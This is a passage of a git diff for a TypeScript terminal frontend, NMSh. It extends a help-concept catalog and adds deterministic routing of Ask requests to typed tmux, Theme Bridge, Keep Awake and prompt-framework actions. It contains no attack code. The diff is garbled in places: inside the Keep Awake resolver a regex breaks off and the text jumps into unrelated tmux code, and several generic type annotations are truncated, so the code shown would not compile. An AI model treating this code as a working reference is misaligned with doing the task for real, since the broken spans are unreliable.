c => ({...c, nmsh: {...c.nmsh, palette: option.id}}), current: c => c.nmsh.palette === option.id})); +} + +/** Choosing a family moves to its default variant, or the first library theme of that category. */ +export function selectSelectionFamily(config: PromptConfiguration, family: SelectionFamily): PromptConfiguration { + if (currentSelectionFamily(config) === family) return config; + if (family === 'imported' || family === 'custom') { + const first = selectionVariants(config, family)[0]; + return first ? first.apply(config) : config; + } + return {...config, nmsh: {...config.nmsh, palette: DEFAULT_VARIANT[family]}}; +} diff --git a/src/ask/concepts.ts b/src/ask/concepts.ts index f25872f9..42a6ed07 100644 --- a/src/ask/concepts.ts +++ b/src/ask/concepts.ts @@ -60,13 +60,28 @@ export const CONCEPTS: readonly Concept[] = [ description: 'Ghost suggestions are the dim predicted rest of a command shown as you type (→ accepts). The provider is NMSh Native, Deja, or None; empty-prompt prediction is optional.'}, {id: 'prompt', label: 'Prompt', support: 'actionable', capability: 'prompt.open', open: '/prompt', covers: ['/prompt', 'settings:Prompt', 'family:prompt'], aliases: ['prompt', 'prompts', 'prompt style', 'prompt modules', 'ps1', 'starship', 'powerlevel10k', 'p10k', 'rich git', 'git prompt', 'composer layout', 'one-line prompt', 'two-line prompt'], - description: 'The prompt above the composer: NMSh Native (themes, geometry, modules, Rich Git), Starship or Powerlevel10k. /prompt previews and saves it.'}, + description: 'The prompt above the composer: NMSh Native (themes, geometry, modules, Rich Git), Starship, Powerlevel10k, or None (composer only). /prompt previews and saves it.'}, {id: 'theme', label: 'Theme and appearance', support: 'actionable', capability: 'theme.open', open: '/appearance', prefers: ['change', 'explain'], covers: ['/appearance', 'settings:Appearance', 'settings:Motion'], aliases: ['theme', 'themes', 'appearance', 'colors', 'colours', 'color scheme', 'colour scheme', 'styling', 'vibrance', 'opacity', 'blur', 'transparency', 'palette'], description: 'Appearance covers the Native theme, vibrance, UI chrome colors and terminal opacity/blur where the terminal supports it.'}, - {id: 'themeStudio', label: 'Theme Studio (custom themes)', support: 'actionable', open: '/theme', covers: ['/theme'], - aliases: ['theme studio', 'custom theme', 'custom themes', 'import theme', 'export theme', 'my own theme'], - description: 'Theme Studio clones a Native theme so you can edit, import and export your own.'}, + {id: 'themeStudio', label: 'Theme Studio', support: 'actionable', open: '/theme', covers: ['/theme'], + aliases: ['theme studio', 'custom theme', 'custom themes', 'import theme', 'export theme', 'my own theme', 'imported theme', 'theme library'], + description: 'Theme Studio manages Native themes: browse built-ins, import a theme file (Base16/24, Windows Terminal, Oh My Posh, Kitty, Ghostty, iTerm2, WezTerm), edit, duplicate, export and select.'}, + {id: 'uiChrome', label: 'UI chrome', support: 'actionable', open: '/chrome', covers: ['/chrome'], + aliases: ['ui chrome', 'chrome', 'frames', 'panel colors', 'tab colors'], + description: 'UI chrome is NMSh\'s frames, rules, tabs, selection and accents; it follows the theme or a custom preset. Not Chroma (animated color treatment).'}, + {id: 'toolConfig', label: 'Tool Configuration', support: 'actionable', open: '/configure', covers: ['/configure', '/tmux'], + aliases: ['configure tmux', 'tmux config', 'tmux settings', 'tmux prefix', 'tmux mouse', 'tmux status bar', 'tool configuration', 'status studio'], + description: 'Tool Configuration edits supported settings of registered tools: tmux (settings, keys, Status Studio, new panes start NMSh) through one NMSh-managed file, Starship through its own CLI. /tmux opens tmux directly.'}, + {id: 'integrations', label: 'Integrations', support: 'actionable', open: '/integrations', covers: ['/integrations'], + aliases: ['integrations', 'integration health', 'managed integrations', 'update all integrations'], + description: 'Integrations shows every managed integration (Theme Bridge files, includes, bat cache, tmux) and applies what is missing after one combined review that starts on No.'}, + {id: 'dotfiles', label: 'Dotfiles import', support: 'actionable', open: '/dotfiles', covers: ['/dotfiles'], + aliases: ['dotfiles', 'dot files', 'import dotfiles', 'stow', 'chezmoi'], + description: 'Dotfiles import scans a local repository (plain, Git, Stow or chezmoi source) or a Git URL you confirm, and imports supported settings through the same adapters after a review. Nothing in the repository is run.'}, + {id: 'themeBridge', label: 'Theme Bridge', support: 'actionable', open: '/theme-bridge', covers: ['/theme-bridge'], + aliases: ['theme bridge', 'fzf colors', 'fzf colours', 'man page colors', 'less colors', 'ls colors', 'ls_colors', 'tmux theme', 'tmux colors', 'neovim theme', 'nvim colorscheme', 'vim colorscheme', 'helix theme'], + description: 'Theme Bridge extends NMSh themes to fzf, less/man, LS_COLORS, tmux, Neovim, Vim and Helix. Each tool is Independent until you choose Follow NMSh or a pinned theme.'}, {id: 'chroma', label: 'Chroma', support: 'actionable', open: '/chroma', covers: ['/chroma', 'settings:Presentation'], aliases: ['chroma', 'gradient', 'gradients', 'animated colors', 'animated colours', 'color motion', 'colour motion', 'prompt gradient', 'rainbow prompt', 'chroma palette', 'animated prompt colors', 'animated prompt colours', 'animated prompt'], @@ -83,7 +98,7 @@ export const CONCEPTS: readonly Concept[] = [ where: 'Settings → Layout → Composer dividers (On/Off)', aliases: ['composer dividers', 'composer divider', 'input dividers', 'input divider', 'input lines', 'lines around the input', 'divider lines', 'input box lines', 'composer lines', 'input separators'], description: 'Composer dividers are the two thin rules above and below the input. Off removes them and gives their rows back to output.'}, - {id: 'layout', label: 'Layout', support: 'actionable', open: '/layout', covers: ['/layout', 'settings:Layout'], + {id: 'layout', label: 'Layout', support: 'actionable', open: '/layout', covers: ['/layout', '/composer', 'settings:Layout'], aliases: ['layout', 'transcript layout', 'transcript presentation', 'chat mode', 'chat layout', 'composer position', 'composer at the top', 'flow mode', 'classic mode'], description: 'Layout chooses where the composer sits (bottom, top, or Flow after the newest output) and whether the transcript is Normal or Chat (commands on the right).'}, {id: 'history', label: 'Command history', support: 'actionable', open: '/history', configure: '/providers', where: 'Settings → History → Command history provider, or /providers', @@ -97,8 +112,8 @@ export const CONCEPTS: readonly Concept[] = [ covers: ['/dirs', 'family:navigation'], aliases: ['directory navigation', 'directories', 'dirs', 'folder navigation', 'cd history', 'zoxide', 'jump to directory', 'recent directories', 'recent directory', 'recent folders', 'recent folder'], description: '/dirs finds a directory and inserts a visible cd command. Ranking comes from native command-history frecency or a read-only zoxide snapshot.'}, - {id: 'providers', label: 'Providers', support: 'actionable', capability: 'providers.open', open: '/providers', covers: ['/providers'], - aliases: ['providers', 'provider', 'integrations'], + {id: 'providers', label: 'Providers', support: 'actionable', capability: 'providers.open', open: '/providers', covers: ['/providers', '/picker', '/pickers', '/suggestions', '/navigation', '/welcome', '/history-provider'], + aliases: ['providers', 'provider', 'picker provider', 'history provider'], description: 'Providers are what NMSh uses for prompt, welcome, suggestions, history, picker, directory navigation and local understanding. /providers shows, switches, detects and installs them.'}, {id: 'shell', label: 'Shell', support: 'actionable', capability: 'shell.switch', open: '/shell', covers: ['/shell'], aliases: ['shell', 'shells', 'shell backend', 'backend', 'default shell'], @@ -119,7 +134,7 @@ export const CONCEPTS: readonly Concept[] = [ {id: 'cursor', label: 'Cursor & effects', support: 'actionable', open: '/cursor', covers: ['/cursor', 'settings:Cursor'], aliases: ['cursor', 'caret', 'cursor blink', 'blinking cursor', 'cursor shape', 'blink', 'cursor effects', 'cursor trail', 'smooth cursor', 'smear cursor', 'cursor animation', 'fire cursor', 'cursor particles', 'cursor shader'], description: 'The caret\'s shape and blink, plus optional motion (Smooth, Smear, Tail), effects (Fire, Sparks, Lightning, Railgun, Ripple, Wireframe) and idle effects. Portable everywhere NMSh owns its input; after a previewed setup Ghostty draws Smear, Tail, Fire, Sparks and Ripple natively and Kitty draws a Tail, and Portable covers the rest. Colors follow the current theme, a theme you choose, the NMSh accent, the host or a custom color. Off by default.'}, - {id: 'motion', label: 'Motion', support: 'actionable', open: '/appearance', where: '/appearance → Motion (Context transitions, Command launch, Completion highlight, Command completion, Event feedback)', + {id: 'motion', label: 'Motion', support: 'actionable', open: '/motion', covers: ['/motion'], where: '/motion (also /appearance → Motion (Context transitions, Command launch, Completion highlight, Command completion, Event feedback)', aliases: ['motion', 'animations', 'transitions', 'launch sweep', 'command launch', 'block seal', 'semantic echo', 'event feedback', 'completion highlight', 'context transitions', 'prompt morph'], description: 'Short presentation transitions for real events: the command handoff on Enter, what completion inserted, a finished block settling, prompt modules changing, and meaningful events. Reduced Motion and Decorative Effects Off stop them all.'}, {id: 'doctor', label: 'Doctor', support: 'actionable', open: '/doctor', covers: ['/doctor'], @@ -146,6 +161,9 @@ export const CONCEPTS: readonly Concept[] = [ {id: 'tools', label: 'Optional tools', support: 'actionable', capability: 'tools.open', open: '/tools', covers: ['/tools', 'settings:Tools'], aliases: ['tools', 'optional tools', 'installs', 'install suggestions'], description: '/tools lists optional tools NMSh can use, with previewed installs that start on No.'}, + {id: 'keepAwake', label: 'Keep Awake', support: 'actionable', open: '/caffeinate', covers: ['/caffeinate', '/awake', '/zoomies'], + aliases: ['keep awake', 'keep-awake', 'caffeinate', 'awake', 'zoomies', 'prevent sleep', 'stay awake'], + description: 'Keep Awake (/caffeinate, /awake, /zoomies) keeps the computer or display awake with the operating system\'s own mechanism (Apple caffeinate, the systemd inhibitor or the Windows execution-state API) until you stop it or its timeout ends. No power settings change.'}, {id: 'presets', label: 'Session presets', support: 'actionable', open: '/presets', covers: ['/presets'], aliases: ['presets', 'preset', 'session presets', 'named presets', 'session preset'], description: 'Presets are named session setups (folder, shell, startup command) you can create, inspect and launch from /presets.'}, @@ -178,7 +196,7 @@ export const CONCEPTS: readonly Concept[] = [ {id: 'status', label: 'NMSh status', support: 'actionable', open: '/status', covers: ['/status'], aliases: ['nmsh status', 'diagnostics', 'status page', 'status view'], description: '/status shows NMSh\'s own state: session, shell, providers, local understanding and more.'}, - {id: 'statusStrip', label: 'Status strip', support: 'settings', open: '/settings', where: 'Settings → Status strip', covers: ['settings:Status strip'], + {id: 'statusStrip', label: 'Status strip', support: 'actionable', open: '/strip', where: '/strip (also Settings → Status strip)', covers: ['settings:Status strip', '/strip', '/status-strip'], aliases: ['status strip', 'clock', 'battery', 'cpu', 'ram', 'uptime', 'status bar'], description: 'The status strip is a compact row, top right: clock, battery, CPU, RAM and uptime, each optional.'}, {id: 'palette', label: 'Command palette', support: 'actionable', open: '/palette', prefers: ['open'], covers: ['/palette'], @@ -202,7 +220,7 @@ export const CONCEPTS: readonly Concept[] = [ {id: 'understanding', label: 'Local understanding', support: 'actionable', capability: 'understanding.set', open: '/llm', covers: ['/llm'], aliases: ['local understanding', 'local model', 'language model', 'llm', 'qwen', 'ai model', 'local intelligence', 'local llm'], description: 'Local understanding is an optional small model that runs on this machine to help Ask and Smart Folding with loosely worded input. Auto (the default) asks it only when built-in understanding is unsure and a model is set up; nothing downloads without your Yes. Off never loads one.'}, - {id: 'glyphs', label: 'Glyph style', support: 'settings', open: '/settings', where: 'Settings → General → Glyph style', covers: [], + {id: 'glyphs', label: 'Glyph style', support: 'actionable', open: '/glyphs', where: '/glyphs (also Settings → Glyph style)', covers: ['/glyphs'], aliases: ['glyphs', 'glyph style', 'nerd font', 'nerd fonts', 'icons', 'symbols'], description: 'Glyph style picks Nerd Font symbols or safe terminal symbols for icons and prompt shapes.'}, {id: 'copy', label: 'Copy output', support: 'actionable', open: '/copy', covers: ['/copy'], @@ -305,20 +323,20 @@ export interface GuideSection {id: string; title: string; why: string; concepts: export const GUIDE_SECTIONS: readonly GuideSection[] = [ {id: 'start', title: 'Getting started', why: 'NMSh is a terminal frontend over a real, persistent shell: your shell keeps its state, and NMSh adds the editor, transcript and tools around it.', concepts: ['setup', 'help', 'palette', 'settings', 'version', 'updates', 'status']}, - {id: 'look', title: 'Prompt & appearance', why: 'Make the prompt and colors yours without editing dotfiles.', concepts: ['prompt', 'theme', 'themeStudio', 'glyphs', 'syntax']}, + {id: 'look', title: 'Prompt & appearance', why: 'Make the prompt and colors yours without editing dotfiles.', concepts: ['prompt', 'theme', 'themeStudio', 'themeBridge', 'uiChrome', 'glyphs', 'syntax']}, {id: 'cursorEffects', title: 'Cursor & effects', why: 'Cursor trails and motion for NMSh-owned chrome; Reduced Motion, Effects Off and NO_COLOR are always respected.', concepts: ['cursor', 'motion']}, {id: 'chroma', title: 'Chroma', why: 'Optional gradients and motion for NMSh-owned chrome only; your command output is never recolored.', concepts: ['chroma', 'effects', 'activity']}, {id: 'shells', title: 'Shells', why: 'One NMSh window can run zsh, Fish or Bash, and you can leave for a plain shell and come back.', concepts: ['shell', 'leave', 'otherShells']}, {id: 'completion', title: 'Completion & suggestions', why: 'Tab completion lists real candidates; ghost suggestions predict the rest of the line.', concepts: ['completion', 'suggestions']}, {id: 'history', title: 'History & transcripts', why: 'Find what you ran and what it printed, now or in earlier sessions.', concepts: ['history', 'picker', 'transcript', 'find', 'copy', 'transcripts']}, - {id: 'sessions', title: 'Sessions', why: 'Sessions keep running when a window closes; reattach, switch or get notified.', concepts: ['sessions', 'agentSessions', 'presets', 'notices', 'commandNotifications', 'panes']}, + {id: 'sessions', title: 'Sessions', why: 'Sessions keep running when a window closes; reattach, switch or get notified.', concepts: ['sessions', 'agentSessions', 'presets', 'notices', 'commandNotifications', 'panes', 'keepAwake']}, {id: 'ask', title: 'Ask', why: 'Plain-English help that knows NMSh, your commands and this repository, and never runs anything you did not confirm.', concepts: ['ask']}, {id: 'intelligence', title: 'Local intelligence', why: 'An optional local model helps Ask map vague requests to known actions. It runs on this machine, never writes commands, and Ask works fully without it.', concepts: ['understanding'], notes: ['Modes: Off, Auto (used only when the deterministic resolver is unsure) and Always (consulted first). /llm shows the model, runtime and last inference.']}, {id: 'projects', title: 'Project & dev tasks', why: 'Ask reads this project\'s scripts (package.json, Makefile, Cargo, …) and can run them for you.', concepts: [], notes: ['Try: "run the tests" · "start the dev server" · "what scripts does this project have?"', 'Dev servers run as NMSh-managed background tasks: a live status row, detected URLs to open, and "stop the dev server" to end them.']}, {id: 'files', title: 'Files, config & editor', why: 'Jump to folders, open what output mentions, and let Ask find and open config files or add/update a setting with a verified, previewed edit (it never removes settings).', concepts: ['navigation', 'editor', 'pastePreview']}, - {id: 'providers', title: 'Providers & tools', why: 'Choose what powers each part of NMSh, and install optional tools with previewed recipes.', concepts: ['providers', 'welcome', 'tools', 'homebrew', 'agents']}, + {id: 'providers', title: 'Providers & tools', why: 'Choose what powers each part of NMSh, and install optional tools with previewed recipes.', concepts: ['providers', 'welcome', 'tools', 'toolConfig', 'integrations', 'dotfiles', 'homebrew', 'agents']}, {id: 'doctorWatch', title: 'Doctor & watch', why: 'Check your setup with local, read-only checks, and watch a command change over time.', concepts: ['doctor', 'watch'], notes: ['After a failure, ask "why did that fail?" for an explanation from the recorded output.']}, {id: 'layout', title: 'Layout & folding', why: 'Decide where the composer sits and how much output stays in view.', concepts: ['layout', 'composerDividers', 'folding', 'statusStrip', 'idle']}, diff --git a/src/ask/configActions.ts b/src/ask/configActions.ts new file mode 100644 index 00000000..652c17a4 --- /dev/null +++ b/src/ask/configActions.ts @@ -0,0 +1,213 @@ +import type {AskOutcome} from './types.js'; +import {parseSlashCommand} from '../commands/slashCommands.js'; +import {describeTmuxChange, type TmuxChange} from '../tools/config/tmux.js'; +import {BRIDGE_TARGET_LABELS, type BridgeTargetId} from '../themeBridge/model.js'; +import {THEME_PALETTE_IDS} from '../prompt/configuration.js'; +import {NATIVE_PROMPT_THEMES} from '../prompt/prompt.js'; +import {detectOhMyZsh, previousZshrc} from '../tools/frameworks.js'; +import {TOOLS, toolInstall} from '../tools/catalog.js'; +import {resolveCommand} from '../providers/providers.js'; +import {installProposal} from './commands.js'; + +/** + * Deterministic Ask routing for NMSh surfaces and supported configuration. + * Requests map only onto typed actions (a registered tmux change, a Theme + * Bridge setting, or opening a canonical surface); model or request text + * never becomes a command, path mutation or config snippet. Changes are + * proposals behind Ask's final Yes/No; opening a surface is navigation. + */ + +const SURFACES: ReadonlyArray<[RegExp, string]> = [ + [/\b(?:check|update|review)\b.*\bintegrations?\b|\bintegrations? (?:health|status)\b|\bupdate (?:anything|everything) missing\b/u, '/integrations'], + [/\bmotion\b/u, '/motion'], + [/\bui chrome\b|\bchrome\b(?! ?browser)/u, '/chrome'], + [/\bglyphs?\b|\bsymbols\b|\bnerd font\b/u, '/glyphs'], + [/\bcomposer\b/u, '/composer'], + [/\bstatus strip\b|\bthe strip\b/u, '/strip'], + [/\btheme bridge\b/u, '/theme-bridge'], + [/\bpicker\b/u, '/picker'], + [/\bdirectory nav(?:igation)?\b|\bdir(?:ectory)? jump/u, '/navigation'], + [/\btmux\b/u, '/tmux'], +]; + +const OPEN = /^(?:please )?(?:open|show|change|configure|edit|set up|go to|take me to)\b/u; +const keyName = (text: string) => { + const match = /\b(?:ctrl|control|c)[ +-]?([a-z])\b/u.exec(text); + return match ? `C-${match[1]}` : undefined; +}; + +function themeRef(name: string): string | undefined { + const wanted = name.trim().toLowerCase(); + const id = THEME_PALETTE_IDS.filter(palette => palette !== 'custom').find(palette => { + const label = NATIVE_PROMPT_THEMES[palette].label.toLowerCase(); + return label === wanted || label.replace(/ native$/u, '') === wanted || label.startsWith(`${wanted} `) || label === `${wanted} dark`; + }); + return id ? `builtin:${id}` : undefined; +} + +const TARGET_WORDS: ReadonlyArray<[RegExp, BridgeTargetId]> = [[/\btmux\b/u, 'tmux'], [/\bneovim\b|\bnvim\b/u, 'neovim'], [/\bvim\b/u, 'vim'], [/\bhelix\b/u, 'helix'], + [/\bfzf\b/u, 'fzf'], [/\bbat\b/u, 'bat'], [/\bless\b|\bman pages?\b/u, 'pager'], [/\bls\b|\bfile listing/u, 'lsColors']]; + +function tmuxChanges(text: string): TmuxChange[] { + const changes: TmuxChange[] = []; + const mouse = /\bmouse\b.*\b(on|off)\b|\b(enable|disable)\b.*\bmouse\b/u.exec(text); + if (mouse) changes.push({kind: 'option', id: 'mouse', value: mouse[1] ?? (mouse[2] === 'enable' ? 'on' : 'off')}); + if (/\bprefix\b/u.test(text)) { const key = keyName(text.slice(text.indexOf('prefix'))); if (key) changes.push({kind: 'prefix', key}); } + const status = /\bstatus(?: bar| line)?\b.*\b(top|bottom)\b/u.exec(text); + if (status) changes.push({kind: 'option', id: 'status-position', value: status[1]!}); + if (/\bvi keys\b|\bvi mode\b|\bvim keys\b/u.test(text)) changes.push({kind: 'option', id: 'mode-keys', value: 'vi'}, {kind: 'option', id: 'status-keys', value: 'vi'}); + if (/\bnew (?:tmux )?(?:panes?|windows?)\b.*\b(?:start|run|open|launch)\b.*\bnmsh\b/u.test(text)) changes.push({kind: 'frontend', value: 'nmsh'}); + if (/\bnew (?:tmux )?(?:panes?|windows?)\b.*\b(?:start|run)\b.*\b(?:normal |default |my )?shell\b/u.test(text)) changes.push({kind: 'frontend', value: 'shell'}); + return changes; +} + +const OMZ = /\boh[ -]?my[ -]?zsh\b|\bomz\b/u; +const OMP = /\boh[ -]?my[ -]?posh\b|\bomp\b/u; +const P10K = /\bpowerlevel ?10k\b|\bp10k\b/u; +const view = (tool: string, which: 'detail' | 'guided' | 'previous' | 'p10kConfigure' | 'importAppearance', text: string): AskOutcome => + ({kind: 'proposal', capability: 'tools.open', safety: 'navigate', confidence: 0.92, direct: true, text, action: {kind: 'toolView', tool, view: which, label: text}}); +const promptSwitch = (value: 'ohMyPosh' | 'powerlevel10k', label: string): AskOutcome => + ({kind: 'proposal', capability: 'provider.switch', safety: 'mutate', confidence: 0.92, text: `Use ${label} as the prompt? NMSh renders it directly; no shell rc file changes.`, + action: {kind: 'setting', setting: 'prompt', value, label: `Prompt: ${label}`}}); + +/** Shell frameworks and prompt engines: facts, navigation to the exact /tools view, or a typed provider switch. Never a shell command or rc edit. */ +function resolveFrameworkRequest(text: string, env: NodeJS.ProcessEnv): AskOutcome | undefined { + if (/\bpre[ -]?oh[ -]?my[ -]?zsh\b|\b(?:old|previous)\b.*\bzshrc\b|\bzshrc\b.*\b(?:old|previous|before oh my zsh)\b|\bwhat happened to my\b.*\bzshrc\b/u.test(text)) { + const pair = previousZshrc(env); + if (!pair) return {kind: 'answer', capability: 'tools.open', text: 'There is no .zshrc.pre-oh-my-zsh here, so the Oh My Zsh installer did not save an earlier .zshrc in this home (or ZDOTDIR).'}; + return view('oh-my-zsh', 'previous', `Compare ${pair.current} with ${pair.previous} in /tools (restoring there backs up the current file and asks first)`); + } + if (OMZ.test(text)) { + if (/\binstalled\b|\bdo i have\b|\bis there\b/u.test(text)) { + const found = detectOhMyZsh(env); + return {kind: 'answer', capability: 'tools.open', text: found ? `Yes. Oh My Zsh is installed at ${found.path}${found.source ? ` (from ${found.source})` : ''}. It is a Zsh framework, used by Zsh only.` : 'No. No Oh My Zsh installation was found at $ZSH or ~/.oh-my-zsh.'}; + } + if (/\binstall\b/u.test(text)) return view('oh-my-zsh', 'guided', 'Open the Oh My Zsh guided install (keeps your .zshrc; you run the official installer yourself)'); + return view('oh-my-zsh', 'detail', 'Open Oh My Zsh in /tools'); + } + if (OMP.test(text)) { + if (/\bimport\b|\btheme studio\b|\binto nmsh\b/u.test(text)) return view('oh-my-posh', 'importAppearance', 'Import your Oh My Posh appearance into an NMSh Native theme (static colors only; the provider is not switched)'); + if (/\binstall\b/u.test(text)) { + const tool = TOOLS.find(item => item.id === 'oh-my-posh')!; + if (resolveCommand('oh-my-posh', env.PATH ?? '')) return {kind: 'answer', capability: 'tools.open', text: 'Oh My Posh is already installed.'}; + const recipe = toolInstall(tool); + return recipe ? installProposal('oh-my-posh', {tool: tool.id, label: recipe.label}) : view('oh-my-posh', 'detail', 'Open Oh My Posh in /tools (no curated install here)'); + } + if (/\b(?:use|switch to|set)\b.*\bprompt\b|\bas (?:my )?prompt\b/u.test(text)) return promptSwitch('ohMyPosh', 'Oh My Posh'); + return view('oh-my-posh', 'detail', 'Open Oh My Posh in /tools'); + } + if (P10K.test(text)) { + if (/\bconfigure\b|\bwizard\b|\bset up\b/u.test(text)) return view('powerlevel10k', 'p10kConfigure', 'Configure Powerlevel10k (backs up ~/.p10k.zsh and .zshrc, then runs p10k configure)'); + if (/\buse\b|\bswitch to\b/u.test(text)) return promptSwitch('powerlevel10k', 'Powerlevel10k'); + } + return undefined; +} + +/** + * Keep Awake: deterministic, typed through the /caffeinate action against the + * one controller. Status and opening run directly; starting, changing or + * stopping waits for Ask's Yes. No model is involved. + */ +const AWAKE_NAME = String.raw`(?:zoomies|caffeinate|keep[ -]?awake|awake)`; +function awakeDuration(text: string): string { + const match = /\bfor (?:an? |one )?(\d{1,3})?\s*(hours?|hrs?|h|minutes?|mins?|m)\b/u.exec(text); + if (!match) return ''; + return ` ${match[1] ?? '1'}${match[2]!.startsWith('h') ? 'h' : 'm'}`; +} +function resolveKeepAwakeRequest(text: string): AskOutcome | undefined { + const slash = (command: string, safety: 'navigate' | 'mutate', label: string): AskOutcome | undefined => { + const parsed = parseSlashCommand(command); + return parsed ? {kind: 'proposal', capability: 'feature.open', safety, confidence: 0.92, ...(safety === 'navigate' ? {direct: true} : {}), text: label, action: {kind: 'slash', slash: parsed, label: command}} : undefined; + }; + const name = new RegExp(String.raw`\b${AWAKE_NAME}\b`, 'u'); + // Status: "is zoomies on", "are we keeping the computer awake", "what awake mode is active". + if ((/^(?:is|are|what|which|how long)\b/u.test(text) && name.test(text) && /\b(?:on|running|active|mode|keeping|still)\b/u.test(text)) + || new RegExp(String.raw`\b${AWAKE_NAME} status\b`, 'u').test(text)) return slash('/caffeinate status', 'navigate', 'Keep Awake status'); + // Stop: "stop zoomies", "turn caffeinate off", "let my mac sleep". + if (new RegExp(String.raw`\b(?:stop|end|cancel|disable|turn off|switch off)\b.*\b${AWAKE_NAME}\b|\b${AWAKE_NAME}\b.*\b(?:off|stop)\b`, 'u').test(text) + || /\bstop\b.*\b(?:keeping|keep)\b.*\bawake\b|(? ` ${describeTmuxChange(change)}`).join('\n')}`, + action: {kind: 'tmux', changes, label: changes.map(describeTmuxChange).join(' · ')}}; + } + } + if (/\btheme bridge\b|\b(?:all )?(?:bridge )?targets\b/u.test(text) && /\bfollow nmsh\b|\bfollow (?:the )?(?:nmsh )?theme\b/u.test(text)) { + return {kind: 'proposal', capability: 'theme.open', safety: 'mutate', confidence: 0.9, text: 'Turn Theme Bridge On with Apply themes: Follow NMSh (every supported tool follows the active theme)', + action: {kind: 'themeBridge', enabled: true, policy: 'follow', label: 'Theme Bridge · Follow NMSh'}}; + } + // "use Tokyo Night for tmux but Lavender for Vim": per-tool pins (Manual). + const pins = [...text.matchAll(/\buse ([a-z][a-z ]{1,30}?) for ([a-z/ ]{2,20}?)(?= but|,| and|$)|\b(?:but|and) ([a-z][a-z ]{1,30}?) for ([a-z/ ]{2,20}?)(?= but|,| and|$)/gu)]; + if (pins.length) { + const targets: Partial> = {}; + for (const pin of pins) { + const theme = themeRef(pin[1] ?? pin[3] ?? ''); + const target = TARGET_WORDS.find(([pattern]) => pattern.test(pin[2] ?? pin[4] ?? ''))?.[1]; + if (theme && target) targets[target] = {mode: 'choose', theme}; + } + const entries = Object.entries(targets) as Array<[BridgeTargetId, {mode: 'choose'; theme: string}]>; + if (entries.length) { + const label = entries.map(([target, setting]) => `${BRIDGE_TARGET_LABELS[target]}: ${NATIVE_PROMPT_THEMES[setting.theme.slice(8) as 'lavender'].label}`).join(' · '); + return {kind: 'proposal', capability: 'theme.open', safety: 'mutate', confidence: 0.85, text: `Theme Bridge (Manual): ${label}`, + action: {kind: 'themeBridge', enabled: true, policy: 'manual', targets, label}}; + } + } + if (OPEN.test(text) || /\bsettings\b/u.test(text)) { + for (const [pattern, command] of SURFACES) { + if (!pattern.test(text)) continue; + const slash = parseSlashCommand(command); + if (slash) return {kind: 'proposal', capability: 'feature.open', safety: 'navigate', confidence: 0.9, direct: true, text: `Open ${command}`, action: {kind: 'slash', slash, label: command}}; + } + } + if (/\b(?:check|update)\b.*\bintegrations?\b|\bupdate (?:anything|everything) missing\b/u.test(text)) { + const slash = parseSlashCommand('/integrations')!; + return {kind: 'proposal', capability: 'feature.open', safety: 'navigate', confidence: 0.9, direct: true, text: 'Open /integrations (Review all; nothing is applied until you confirm)', action: {kind: 'slash', slash, label: '/integrations'}}; + } + return undefined; +} diff --git a/src/ask/resolver.ts b/src/ask/resolver.ts index 58b428de..8080de29 100644 --- a/src/ask/resolver.ts +++ b/src/ask/resolver.ts @@ -1,3 +1,4 @@ +import {resolveConfigRequest} from './configActions.js'; import {basename, relative} from 'node:path'; import {slashCommands} from '../commands/slashCommands.js'; import type {ShellId} from '../shell/adapters/ShellAdapter.js'; @@ -209,6 +210,9 @@ function resolveExact(raw: string, context: AskContext, state: ResolveState = {} // Command knowledge: explaining git push or git clean is an answer, not an action, so it comes before the action-safety check. // "how do i X" still lets a strong typed capability act ("how do i open package.json"). // One guide: /guide, "guide me through nmsh", and /ask help all come from the concept catalog. + // NMSh surfaces and supported configuration: deterministic, typed actions only. + const configured = resolveConfigRequest(text); + if (configured) return configured; if (GUIDE_REQUEST.test(text)) return guideOutcome(context); if (HELP_REQUEST.test(text)) return askHelpOutcome(); // "why did that fail": the failed block's own evidence, read deterministically. diff --git a/src/ask/types.ts b/src/ask/types.ts index d2e4ba55..012e1003 100644 --- a/src/ask/types.ts +++ b/src/ask/types.ts @@ -1,3 +1,5 @@ +import type {TmuxChange} from '../tools/config/tmux.js'; +import type {BridgePolicy, BridgeTargetId} from '../themeBridge/model.js'; import type {ParsedSlashCommand} from '../commands/slashCommands.js'; import type {ShellId} from '../shell/adapters/ShellAdapter.js'; import type {GitFacts} from './git.js'; @@ -64,6 +66,12 @@ export type AskAction = | {kind: 'applyEdit'; plan: FileEditPlan} /** A curated tool install (the /tools recipe, shown exactly before the Yes); never a guessed package. */ | {kind: 'installTool'; tool: string; label: string} + /** Typed tmux changes through the tmux Tool Configuration adapter (NMSh's managed tmux file only). */ + | {kind: 'tmux'; changes: TmuxChange[]; label: string} + /** Theme Bridge settings: switch, policy and per-target Manual pins (stable theme references only). */ + | {kind: 'themeBridge'; enabled?: boolean; policy?: BridgePolicy; targets?: Partial>; label: string} + /** Open /tools at one curated tool, optionally at its guided install, previous-zshrc comparison, p10k configurator or appearance import (navigation only). */ + | {kind: 'toolView'; tool: string; view: 'detail' | 'guided' | 'previous' | 'p10kConfigure' | 'importAppearance'; label: string} | {kind: 'setting'; setting: 'suggestions' | 'history' | 'welcome' | 'picker' | 'navigation' | 'prompt' | 'localUnderstanding' | 'shellBackend' | 'composerDividers'; value: string; label: string}; /** diff --git a/src/cli/doctor.ts b/src/cli/doctor.ts index fd50a887..75b4170c 100644 --- a/src/cli/doctor.ts +++ b/src/cli/doctor.ts @@ -1,3 +1,4 @@ +import {installProvenanceLabel} from '../update/update.js'; import {homedir} from 'node:os'; import {promptConfigurationPath} from '../configuration/paths.js'; import {detectPlatform} from '../host/platform.js'; @@ -23,6 +24,7 @@ export function doctorReport(env: NodeJS.ProcessEnv = process.env, extra: Array< const activeShell = {id: config.shellBackend, ...(resolved ? {path: resolved} : {})}; const rows: Array<[string, string]> = [ ['NMSh', formatBuildIdentity(readBuildIdentity())], + ['Installed', installProvenanceLabel()], ['Node', process.version], ['Platform', `${process.platform} ${process.arch} · kernel ${platform.kernel}`], ['Support', platform.support], diff --git a/src/commands/slashCommands.ts b/src/commands/slashCommands.ts index e7e441a7..46df1a85 100644 --- a/src/commands/slashCommands.ts +++ b/src/commands/slashCommands.ts @@ -1,21 +1,51 @@ import {IDLE_MODES, type IdleMode} from '../idle/scenes.js'; +export type CommandGroup = 'Appearance' | 'Composer & transcript' | 'Providers' | 'Tools & integration'; + export interface SlashCommand { name: string; insertion: string; description: string; + /** /help section for substantial surfaces; ungrouped commands are listed under "More commands". */ + group?: CommandGroup; + /** Human palette label ("Open Motion"); the command name is shown beside it. */ + title?: string; + /** Another spelling of a canonical command: parsed to the same action, not listed twice. */ + alias?: string; } -export const slashCommands: readonly SlashCommand[] = [ +/** Group, palette title and alias metadata for the substantial surfaces, in one place. */ +const META: Record> = { + '/appearance': {group: 'Appearance', 